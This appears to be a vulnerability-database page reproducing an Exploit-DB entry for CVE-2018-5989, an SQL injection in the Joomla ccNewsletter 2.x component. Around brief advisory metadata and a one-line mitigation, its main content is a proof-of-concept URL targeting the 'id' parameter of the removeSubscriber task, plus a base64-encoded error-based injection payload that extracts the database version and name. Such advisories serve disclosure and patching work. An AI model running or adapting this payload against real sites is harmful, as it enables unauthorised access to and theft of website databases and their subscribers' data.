Joomla Component ccNewsletter 2.x.x 'id' - SQL Injection

vendor:

ccNewsletter

by:

Ihsan Sencan

9.8

CVSS

CRITICAL

SQL Injection

CWE

Product Name: ccNewsletter

Affected Version From: 2.x Stable

Affected Version To: 2.x Stable

Patch Exists: YES

Related CWE: CVE-2018-5989

CPE: a:chillcreations:ccnewsletter:2.x

Metasploit: N/A

Other Scripts: N/A

Platforms Tested: WiN7_x64/KaLiLinuX_x64

2018

Joomla Component ccNewsletter 2.x.x ‘id’ – SQL Injection

The vulnerability exists due to insufficient filtration of user-supplied data passed via the 'id' parameter to '/index.php' script. A remote attacker can execute arbitrary SQL commands in application's database and compromise the application or access sensitive data.

Mitigation:

Input validation should be used to prevent SQL injection attacks.

Source

Exploit-DB raw data:

# # # #
# Exploit Title: Joomla Component ccNewsletter 2.x.x 'id' - SQL Injection
# Dork: N/A
# Date: 16.02.2018
# Vendor Homepage: https://www.chillcreations.com/
# Software Link: https://extensions.joomla.org/extension/ccnewsletter/
# Version: 2.x Stable
# Category: Webapps
# Tested on: WiN7_x64/KaLiLinuX_x64
# CVE: CVE-2018-5989
# # # #
# Exploit Author: Ihsan Sencan
# # # #
# 
# POC:
# 
# 1)
# http://localhost/[PATH]/index.php?option=com_ccnewsletter&task=removeSubscriber&id=[SQL]
#  
# Y2ZjZDIwODQ5NWQ1NjVlZjY2ZTdkZmY5Zjk4NzY0ZGEnJTIwT1IlMjAoU0VMRUNUJTIwMiUyMEZST00oU0VMRUNUJTIwQ09VTlQoKiksQ09OQ0FUKHZlcnNpb24oKSwoU0VMRUNUJTIwKEVMVCgxPTEsMSkpKSxkYXRhYmFzZSgpLEZMT09SKFJBTkQoMCkqMikpeCUyMEZST00lMjBJTkZPUk1BVElPTl9TQ0hFTUEuUExVR0lOUyUyMEdST1VQJTIwQlklMjB4KWEpLS0lMjBhTXBM
# 
# # # #